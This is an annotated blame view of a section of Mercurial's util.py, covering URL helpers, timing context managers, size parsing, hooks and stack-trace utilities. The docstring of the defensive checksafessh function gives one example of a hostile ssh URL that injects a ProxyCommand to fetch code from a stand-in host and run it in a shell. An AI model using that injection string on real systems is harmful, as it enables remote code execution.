Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
2968 def islocal(self):
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
2969 '''whether localpath will return something that posixfile can open'''
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
2970 return (not self.scheme or self.scheme == 'file'
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
2971 or self.scheme == 'bundle')
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
2972
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2973 def hasscheme(path):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2974 return bool(url(path).scheme)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2975
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2976 def hasdriveletter(path):
15609
8f4bad72d8b1 util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents: 15505
diff changeset
2977 return path and path[1:2] == ':' and path[0:1].isalpha()
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2978
14825
de9eb6b1da4f util: rename the util.localpath that uses url to urllocalpath (issue2875)
Mads Kiilerich <mads@kiilerich.com>
parents: 14766
diff changeset
2979 def urllocalpath(path):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2980 return url(path, parsequery=False, parsefragment=False).localpath()
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2981
33650
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
2982 def checksafessh(path):
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
2983 """check if a path / url is a potentially unsafe ssh exploit (SEC)
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
2984
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
2985 This is a sanity check for ssh urls. ssh will parse the first item as
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
2986 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
2987 Let's prevent these potentially exploited urls entirely and warn the
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
2988 user.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
2989
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
2990 Raises an error.Abort when the url is unsafe.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
2991 """
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
2992 path = urlreq.unquote(path)
33660
3fee7f7d2da0 ssh: unban the use of pipe character in user@host:port string
Yuya Nishihara <yuya@tcha.org>
parents: 33657
diff changeset
2993 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
33650
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
2994 raise error.Abort(_('potentially unsafe url: %r') %
36724
ca201470abb4 util: fix unsafe url abort with bytestr() on url
Augie Fackler <augie@google.com>
parents: 36701
diff changeset
2995 (pycompat.bytestr(path),))
33650
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
2996
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2997 def hidepassword(u):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2998 '''hide user credential in a url string'''
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2999 u = url(u)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3000 if u.passwd:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3001 u.passwd = '***'
31841
9ff5a124d111 py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31811
diff changeset
3002 return bytes(u)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3003
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3004 def removeauth(u):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3005 '''remove all authentication information from a url string'''
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3006 u = url(u)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3007 u.user = u.passwd = None
37366
b23e3cc1afd4 py3: return bytes from util.removeauth()
Pulkit Goyal <7895pulkit@gmail.com>
parents: 37322
diff changeset
3008 return bytes(u)
14515
76f295eaed86 util: add helper function isatty(fd) to check for tty-ness
Idan Kamara <idankk86@gmail.com>
parents: 14313
diff changeset
3009
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3010 timecount = unitcountfn(
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3011 (1, 1e3, _('%.0f s')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3012 (100, 1, _('%.1f s')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3013 (10, 1, _('%.2f s')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3014 (1, 1, _('%.3f s')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3015 (100, 0.001, _('%.1f ms')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3016 (10, 0.001, _('%.2f ms')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3017 (1, 0.001, _('%.3f ms')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3018 (100, 0.000001, _('%.1f us')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3019 (10, 0.000001, _('%.2f us')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3020 (1, 0.000001, _('%.3f us')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3021 (100, 0.000000001, _('%.1f ns')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3022 (10, 0.000000001, _('%.2f ns')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3023 (1, 0.000000001, _('%.3f ns')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3024 )
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3025
38797
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3026 @attr.s
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3027 class timedcmstats(object):
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3028 """Stats information produced by the timedcm context manager on entering."""
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3029
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3030 # the starting value of the timer as a float (meaning and resulution is
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3031 # platform dependent, see util.timer)
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3032 start = attr.ib(default=attr.Factory(lambda: timer()))
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3033 # the number of seconds as a floating point value; starts at 0, updated when
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3034 # the context is exited.
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3035 elapsed = attr.ib(default=0)
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3036 # the number of nested timedcm context managers.
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3037 level = attr.ib(default=1)
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3038
38812
9d49bb117dde util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents: 38797
diff changeset
3039 def __bytes__(self):
38797
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3040 return timecount(self.elapsed) if self.elapsed else '<unknown>'
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3041
38812
9d49bb117dde util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents: 38797
diff changeset
3042 __str__ = encoding.strmethod(__bytes__)
9d49bb117dde util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents: 38797
diff changeset
3043
38797
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3044 @contextlib.contextmanager
39259
e00123f63410 util: make timedcm require the label (API)
Augie Fackler <augie@google.com>
parents: 39258
diff changeset
3045 def timedcm(whencefmt, *whenceargs):
38797
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3046 """A context manager that produces timing information for a given context.
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3047
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3048 On entering a timedcmstats instance is produced.
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3049
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3050 This context manager is reentrant.
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3051
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3052 """
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3053 # track nested context managers
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3054 timedcm._nested += 1
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3055 timing_stats = timedcmstats(level=timedcm._nested)
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3056 try:
39257
497effb0a04a util: make timedcm context manager also emit trace events
Augie Fackler <augie@google.com>
parents: 39209
diff changeset
3057 with tracing.log(whencefmt, *whenceargs):
497effb0a04a util: make timedcm context manager also emit trace events
Augie Fackler <augie@google.com>
parents: 39209
diff changeset
3058 yield timing_stats
38797
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3059 finally:
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3060 timing_stats.elapsed = timer() - timing_stats.start
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3061 timedcm._nested -= 1
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3062
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3063 timedcm._nested = 0
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3064
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3065 def timed(func):
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3066 '''Report the execution time of a function call to stderr.
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3067
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3068 During development, use as a decorator when you need to measure
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3069 the cost of a function, e.g. as follows:
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3070
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3071 @util.timed
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3072 def foo(a, b, c):
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3073 pass
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3074 '''
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3075
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3076 def wrapper(*args, **kwargs):
39258
331ab85e910b cleanup: make all uses of timedcm specify what they're timing
Augie Fackler <augie@google.com>
parents: 39257
diff changeset
3077 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
38797
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3078 result = func(*args, **kwargs)
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3079 stderr = procutil.stderr
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3080 stderr.write('%s%s: %s\n' % (
38812
9d49bb117dde util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents: 38797
diff changeset
3081 ' ' * time_stats.level * 2, pycompat.bytestr(func.__name__),
9d49bb117dde util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents: 38797
diff changeset
3082 time_stats))
38797
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3083 return result
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3084 return wrapper
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3085
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3086 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3087 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3088
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3089 def sizetoint(s):
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3090 '''Convert a space specifier to a byte count.
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3091
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
3092 >>> sizetoint(b'30')
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3093 30
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
3094 >>> sizetoint(b'2.2kb')
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3095 2252
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
3096 >>> sizetoint(b'6M')
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3097 6291456
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3098 '''
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3099 t = s.strip().lower()
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3100 try:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3101 for k, u in _sizeunits:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3102 if t.endswith(k):
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3103 return int(float(t[:-len(k)]) * u)
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3104 return int(t)
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3105 except ValueError:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3106 raise error.ParseError(_("couldn't parse size: %s") % s)
19211
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3107
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3108 class hooks(object):
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3109 '''A collection of hook functions that can be used to extend a
26098
ce26928cbe41 spelling: behaviour -> behavior
timeless@mozdev.org
parents: 25672
diff changeset
3110 function's behavior. Hooks are called in lexicographic order,
19211
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3111 based on the names of their sources.'''
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3112
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3113 def __init__(self):
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3114 self._hooks = []
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3115
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3116 def add(self, source, hook):
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3117 self._hooks.append((source, hook))
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3118
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3119 def __call__(self, *args):
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3120 self._hooks.sort(key=lambda x: x[0])
21046
cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 21018
diff changeset
3121 results = []
19211
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3122 for source, hook in self._hooks:
21046
cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 21018
diff changeset
3123 results.append(hook(*args))
cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 21018
diff changeset
3124 return results
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
3125
36129
2874896a6e3b util: format line number of stack trace using %d
Augie Fackler <augie@google.com>
parents: 36128
diff changeset
3126 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
28497
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3127 '''Yields lines for a nicely formatted stacktrace.
31315
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31314
diff changeset
3128 Skips the 'skip' last entries, then return the last 'depth' entries.
28497
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3129 Each file+linenumber is formatted according to fileline.
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3130 Each line is formatted according to line.
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3131 If line is None, it yields:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3132 length of longest filepath+line number,
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3133 filepath+linenumber,
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3134 function
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3135
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3136 Not be used in production code but very convenient while developing.
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3137 '''
36130
7ec26f27ca83 util: convert traceback-related sysstrs to sysbytes in getstackframes
Augie Fackler <augie@google.com>
parents: 36129
diff changeset
3138 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
31315
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31314
diff changeset
3139 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31314
diff changeset
3140 ][-depth:]
28497
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3141 if entries:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3142 fnmax = max(len(entry[0]) for entry in entries)
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3143 for fnln, func in entries:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3144 if line is None:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3145 yield (fnmax, fnln, func)
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3146 else:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3147 yield line % (fnmax, fnln, func)
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3148
31315
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31314
diff changeset
3149 def debugstacktrace(msg='stacktrace', skip=0,
37118
5be286db5fb5 procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37117
diff changeset
3150 f=procutil.stderr, otherf=procutil.stdout, depth=0):
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
3151 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
31315
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31314
diff changeset
3152 Skips the 'skip' entries closest to the call, then show 'depth' entries.
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31314
diff changeset
3153 By default it will flush stdout first.
28496
b592564a803c util: reword debugstacktrace comment
timeless <timeless@mozdev.org>
parents: 28027
diff changeset
3154 It can be used everywhere and intentionally does not require an ui object.
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
3155 Not be used in production code but very convenient while developing.
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
3156 '''
20542
be27652675ce util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents: 20353
diff changeset
3157 if otherf:
be27652675ce util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents: 20353
diff changeset
3158 otherf.flush()
31314
7c877cbf30d6 util: strip trailing newline from debugstacktrace message
Mads Kiilerich <madski@unity3d.com>
parents: 31141
diff changeset
3159 f.write('%s at:\n' % msg.rstrip())
31315
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31314
diff changeset
3160 for line in getstackframes(skip + 1, depth=depth):
28497
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
3161 f.write(line)
20542
be27652675ce util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents: 20353
diff changeset
3162 f.flush()
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
3163
24635
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3164 class dirs(object):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3165 '''a multiset of directory names from a dirstate or manifest'''
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3166
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3167 def __init__(self, map, skip=None):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
3168 self._dirs = {}
